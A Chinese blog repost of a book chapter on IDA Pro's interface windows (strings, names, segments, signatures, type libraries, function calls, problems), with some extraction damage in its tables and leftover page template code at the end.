图5-7:设置字符串窗口字符串窗口的用途是显示从二进制文件中提取出的一组字符串,以及每个字符串所在的地址。与双击名称窗口中的名字得到的结果类似,双击字符串窗口中的任何字符串,反汇编窗口将跳转到该字符串所在的地址。将字符串窗口与交叉引用(第9章)相结合,可迅速定位你感兴趣的字符串,并追踪到程序中任何引用该字符串的位置。例如,你可能会看到SOFTWARE\Microsoft\Windows\CurrentVersion\Run这个字符串,并想知道应用程序为什么会引用这个特殊的Windows注册表项。在下面的章节中你会发现,导航到引用这个字符串的程序位置只需要单击4下鼠标。掌握字符串窗口的操作,是高效应用这个窗口的基础。IDA并不会永久保存它从二进制文件中提取出的字符串。因此,每次打开字符串窗口,IDA都会扫描或重新扫描整个数据库,查找其中的字符串。扫描字符串的操作遵照字符串窗口的设置来完成,右击窗口,在出现的菜单中选择Setup,即可开始设置,如图5-7所示。设置字符串窗口用于指定IDA应扫描的字符串类型。IDA默认扫描的字符串类型为至少包含5个字符的C风格、以null结尾的7位ASCII字符串。
如果希望在字符串窗口中显示除C风格字符串以外的字符串,你需要重新配置设置字符串窗口,从中选择IDA扫描的相应字符串类型。例如,Windows程序经常使用的Unicode字符串,而Borland Delphi二进制文件则使用字符串加2字节长度的Pascal风格字符串。每当你单击OK关闭设置字符串窗口,IDA将根据新的设置重新扫描数据库,查找相应的字符串。有两个设置选项值得特别注意:
只显示定义的字符串(Display only defined strings)
这个选项使字符串窗口只显示IDA自动创建或用户手动创建的已命名字符串数据项。在选中这个选项的同时禁用所有其他选项,IDA将不会自动扫描其他类型的字符串。
忽略指令/数据定义(Ignore instructions/data definitions)
这个选项会使IDA扫描指令和现有数据定义中的字符串。使用这个选项可以让IDA:(1)看到嵌入在二进制代码中被错误地转换成指令的字符串;(2)扫描数据中非字符串格式(如字节数组或整数)的字符串。这个选项还会导致IDA生成许多垃级字符串,即那些由5个或更多ASCII字符构成的合法或非法的字符串。使用这个选项的效果类似于使用strings命令和-a。
图5-8表明,如果没有正确配置字符串设置,IDA不一定会显示二进制文件中的所有字符串。在这种情况下,用户并没有选择Ignore instructions/data definitions选项。
图5-8:未检测到的字符串数据示例
其结果是IDA并未发现位置.rdata:0040C19C处的字符串(“Please guess a number between 1 and %d.”)。这个选项的作用,是确保IDA会在所有可能发现字符串的地方扫描各种类型的字符串。
1.3.2名称窗口
图5-9:名称窗口名称窗口如图5-9所示,它简要列出二进制文件所有全局名称。名称是指对一个程序虚拟地址的符号描述。在最初文件加载过程,IDA会根据符号表和特征分析中导出名称列表。名称可以按字母排序,也可以按虚拟地址排序(升序或降序)。用户可通过名称窗口迅速导航到程序列表中已知的位置。双击名称窗口中的条目,可立即跳转到显示该名称的反汇编视图。
名称窗口中显示名称采用了颜色和字母编码。其编码方案总结如下:
?F——常规函数。这是IDA不能识别为库函数的函数。
?L——库函数。IDA通过签名匹配算法来识别库函数。如果某个库函数的签名并不存在,则该函数将被标记为常规函数。
?I——导入名称,通常为导入共亨库的函数名称。它与库函数的区别在于:导入名称没有代码,而库函数主体在反汇编中显示。
?C——命名代码。这些是已命名的程序指令位置,IDA认为它们不属于任何函数。当IDA在程序的符号表中找到一个名称,但没发现对程序位置的任何调用时,就会出现这种情况。
?D——数据。已命名数据的位置通常表示全局变量。
?A——字符串数据。这是一个数据位置的引用,其中包含符合IDA的某种已知的字符串数据类型的字符串,如以空字节结束的ASCII字符串。
当你浏览反汇编代码,你会发现,其中许多命名的位置在名称窗口中并没有对应的名称。在一个程序反汇编的过程中,IDA会为所有直接作为代码(分支或调用目标)或数据(读取的、写入的或使用的地址)引用的位置生成名称。如果一个位置已在程序符号表中命名,IDA将采用该名称。如果符号表中某一程序位置没有名称,则IDA会生成一个默认的名称,以在反汇编过程中使用。在IDA给某个位置命名时,它会使用该位置的虚拟地址和一个表示该位置的类型的前缀进行命名。将虚拟地址合并到生成的名称中,可确保生成的所有名称的唯一性,因为没有两个位置的虚拟地址是相同的。这种自动生成的名称并不在名称窗口中显示。用于自动生成名称的一些常用前缀包括:
sub_xxxxxx A subroutine at address xxxxxx
loc_xxxxxx& An instruction location at address xxxxxx
byte_xxxxxx 8-bit data at location xxxxxx
word_xxxxxx 16-bit data at location xxxxxx
dword_xxxxxx 32-bit data at location xxxxxx
unk_xxxxxx Data of unknown size at location xxxxxx
贯穿本书使用过程,我们将展示IDA适用程序数据位置名称选择的其他算法。
1.3.3段窗口
段窗口显示二进制文件中出现段的简要列表。注意,在讨论二进制文件的结构时,IDA术语的段(segment)常被称为节(section)。请不要将这里的术语“段”与实施分段内存体系结构的CPU中的内存段混淆。显示在窗口的信息,包括段名称、起始和结束地址以及许可标志。起始和结束地址表示在运行时表程序段对应的虚拟地址范围。下面是IDA分析一个Windows二进制文件时段窗口的显示:
Name& &Start&&&& &End&&&&& R W X D L Align& Base Type&& Class&&& AD es& ss&& ds&& fs &&&&&&gs
&R W X . L para &&0001 public CODE &&32 01 FFFFFFFF FFFFFFFF
UPX1&& & & R W X . L para& &0002 public CODE& &32 01 FFFFFFFF FFFFFFFF
UPX2&& & 0040803C &R W . . L para& &0003 public DATA& &32 01 FFFFFFFF FFFFFFFF
.idata 0040803C && R W . . L para& &0003 public XTRN& &32 01 FFFFFFFF FFFFFFFF
UPX2&& & & R W . . L para& &0003 public DATA& &32 01 FFFFFFFF FFFFFFFF
在本例中,我们可以立即发现这个特殊的二进制文件有点奇怪,因为它使用了非标准的段名称,并包含两个可写入的代码段,这表示它们可能是自修改代码(更多内容将在第21章讨论)。即使IDA知道段的大小,也不能表明它知道该段的内容。由于各种原因,段占用的磁盘空间比内存空间小得多。在这些情况下,IDA会显示它已经确定能够从磁盘文件中提取的段部分的值,至于段的其他部分,它会以问号显示。
双击段窗口中的任何条目,IDA将跳转到反汇编窗口中该段的起始位置。右击一个条目,IDA将显示一个上下文菜单,你可以选择添加新段、删除现有段、或者编辑现有段的属性。在对非标准格式的文件进行逆向工程时,这些功能特别有用,因为二进制文件段的结构可能还没有被IDA加载器检测出来。
段窗口所对应的命令行工具包括objdump (-h)、readelf (-S)和dumpbin (/HEADERS)。
1.3.4签名窗口
IDA利用一个庞大的签名库来识别已知的代码块。签名用于识别由编译器生成的常用启动顺序,以确定可能已被用来构建给定二进制文件的编译器。签名还可用于将函数划归为由编译器插入的已知库函数,或者因为静态链接而添加到二进制文件中的函数。在IDA为你识别库函数时,你可以将更多精力放在分析IDA无法识别的代码上(对你而言,这可能比对printf的内部工作机制进行逆向工程更加有趣)。
签名窗口显示的是IDA对打开的二进制文件所使用的签名。Windows PE文件的签名窗口的示例如下所示:
File&& &&&& State&&&&&&&& #func&& Library name
vc32rtf&&&& Applied&&&&&& 501& Microsoft VisualC 2-8/net runtime
这个例子表明,IDA已对该二进制文件应用了vc32rtf签名(来自&IDADIR&/sigs目录),并在这个过程中将501个函数识别为库函数。你不需要对这501个函数进行逆向工程处理。
至少在两种情况下,你需要知道如何对二进制文件应用其他签名。第一种情况:IDA无法识别用于构建二进制文件的编译器,因而无法选择所需的相应签名。这时,你需要根据自己的初步分析,确认IDA应尝试使用的签名,并迫使IDA使用一个或几个签名。第二种情况:IDA中没有针对某些库的现成签名,这时你需要为这些库创建你自己的签名。例如,为FreeBSD8.0自带的OpenSSL静态库创建签名就是如此。DataRescue提供一个工具包,可用于生成供IDA的签名匹配引擎使用的自定义签名。我们将在第12章中讨论如何生成自定义签名。无论你出于什么原因想要应用新签名,在签名窗口中按下INSERT键或右击签名窗口,IDA都会为你提供Apply new signature(应用新签名)选项。这时,你可以从你所安装的IDA版本包含的所有签名中选择你需要的签名。
1.3.5类型库窗口
类型库窗口在概念上与签名窗口类似。类型库保存IDA积累的一些信息,即IDA从最常用的编译器的头文件中搜集到的有关预定义数据类型和函数原型的信息。通过处理头文件,IDA可确定常用库函数所需的数据类型,并为反汇编代码提供相应的注释。同样,IDA还可从这些头文件中了解复杂数据结构的大小和布局。所有这些信息都收集在TIL文件(&IDADIR/til目录&)中,并可在任何时候应用于你分析的二进制文件。与应用签名时一样,在选择加载一组适当的TIL文件之前,IDA必须首先确定一个程序所使用的库。要请求IDA加载其他类型库,可以在类型库窗口中按下INSERT键,或右击窗口并在出现的菜单中选择Load Type Library(加载类型库)。类型库将在第13章详细讨论。
1.3.6函数调用窗口
在任何程序中,一个函数可以调用其他函数和被其他函数调用。实际上,建立一个图形来说明调用方与被调用方之间的关系,是一个相当简单的任务。这样的图形叫做函数调用关系图或函数调用树(我们将在第9章介绍如何在IDA中生成这类的图)。有时,我们并不需要查看完整的程序调用图,而只对指定函数的“近邻”感兴趣。如果Y直接调用X,或者X直接调用Y,则称Y是X的近邻。
函数调用窗口提供这类“近邻”问题的答案。打开函数调用窗口,IDA会确定光标所在位置的函数的“近邻”,并生成如图5-10所示的窗口。
图5-10:函数调用窗口
在这个例子中我们看到,函数sub_40182C被_main从6个不同的位置调用,而这个函数又调用了另外15个函数。双击函数调用窗口中的任何一行,IDA将立即跳转到反汇编窗口中对应的调用或被调用函数(即调用方或被调用方)。IDA交叉引用(xfefs)是用于生成函数调用窗口的机制。我们将在第9章详细讨论xrefs。
1.3.7问题窗口
问题窗口是IDA反汇编二进制文件时遇到困难通知你的方法,及如何处理这些困难。有些时候,你可以操作反汇编,帮助IDA解决问题,但情况并非总是如此。即使反汇编最简单的二进制文件,你也会遇到问题。许多时候,忽略这些问题并不是坏事。为了处理问题,你需要比IDA更深入理解二进制文件,但我们大多数人都无法做到这一点。样本集问题如下:
Address&&&&&&&& Type&&&& Instruction
.text:0040104C& BOUNDS&&&&&&& call eax
.text:& BOUNDS&&&&&&& call eax
.text:& BOUNDS&&&&&&& call eax
.text:& BOUNDS&&&&&&& call dword ptr [eax]
.text:& DECISION push ebp
.text:& DECISION push ebp
.text:& DECISION jmp& ds:set_app_type
.text:& DECISION dd&& 0FFFFFFFFh
.text:004015FC& DECISION dd&& 0
每个问题的特征在于:(1)发生问题的地址,(2)遇到问题的类型,(3)问题所在位置的指令。本例中,我们看BOUNDS和DECISION问题。当无法确定调用或跳转目标(本例中,IDA无法获得eax的值),或者该目标明显不在程序的虚拟地址范围内,发生BOUNDS问题。DECISION问题通常不是问题。DECISION问题通常表示IDA决定将一个地址上的字节反汇编为指令而非数据,即使这个地址在递归下降指令遍历(见第1章)过程中从未被引用。有关问题类型及其处理建议的完整内容,请参阅IDA的内部帮助文档(请查阅Problem List问题列表这一主题)。
初看起来,IDA中似乎有太多的窗口。首先熟悉最主要的窗口,然后逐步了解其他窗口,是认识IDA窗口的最简单方法。无论什么时候,你都没有义务利用IDA的所有窗口,也并不是每一个窗口都可以为逆向工程任务提供帮助。
除了在本章中介绍的窗口外,在深入学习IDA的过程中,你还会遇到大量对话框。在本书的剩余部分,我们将在必要时介绍一些主要的对话框。最后,除默认的反汇编视图图形外,这一章并未涉及其他图形。IDA菜单系统将图形作为一种独立的显示,区别于本章时论的子窗口,专门介绍图形的第9章将说明这样做的原因。
现在,你已经对IDA的用户界面相当熟悉。在下-章中,我们开始专注于各种操纵反汇编代码的方法,以提高对其行为的理解,同时帮助你进一步熟悉IDA的用法。
阅读(4802)|
用微信&&“扫一扫”
将文章分享到朋友圈。
用易信&&“扫一扫”
将文章分享到朋友圈。
历史上的今天
loftPermalink:'',
id:'fks_',
blogTitle:'IDA数据显示',
blogAbstract:'
{elseif x.moveFrom=='iphone'}
{elseif x.moveFrom=='android'}
{elseif x.moveFrom=='mobile'}
${a.selfIntro|escape}{if great260}${suplement}{/if}
{list a as x}
推荐过这篇日志的人:
{list a as x}
{if !!b&&b.length>0}
他们还推荐了:
{list b as y}
转载记录:
{list d as x}
{list a as x}
{list a as x}
{list a as x}
{list a as x}
{if x_index>4}{break}{/if}
${fn2(x.publishTime,'yyyy-MM-dd HH:mm:ss')}
{list a as x}
{if !!(blogDetail.preBlogPermalink)}
{if !!(blogDetail.nextBlogPermalink)}
{list a as x}
{if defined('newslist')&&newslist.length>0}
{list newslist as x}
{if x_index>7}{break}{/if}
{list a as x}
{var first_option =}
{list x.voteDetailList as voteToOption}
{if voteToOption==1}
{if first_option==false},{/if}&&“${b[voteToOption_index]}”&&
{if (x.role!="-1") },“我是${c[x.role]}”&&{/if}
&&&&&&&&${fn1(x.voteTime)}
{if x.userName==''}{/if}
网易公司版权所有&&
{list x.l as y}
{if defined('wl')}
{list wl as x}{/list}

我要回帖

更多关于 开机提示microsoft 的文章

 

随机推荐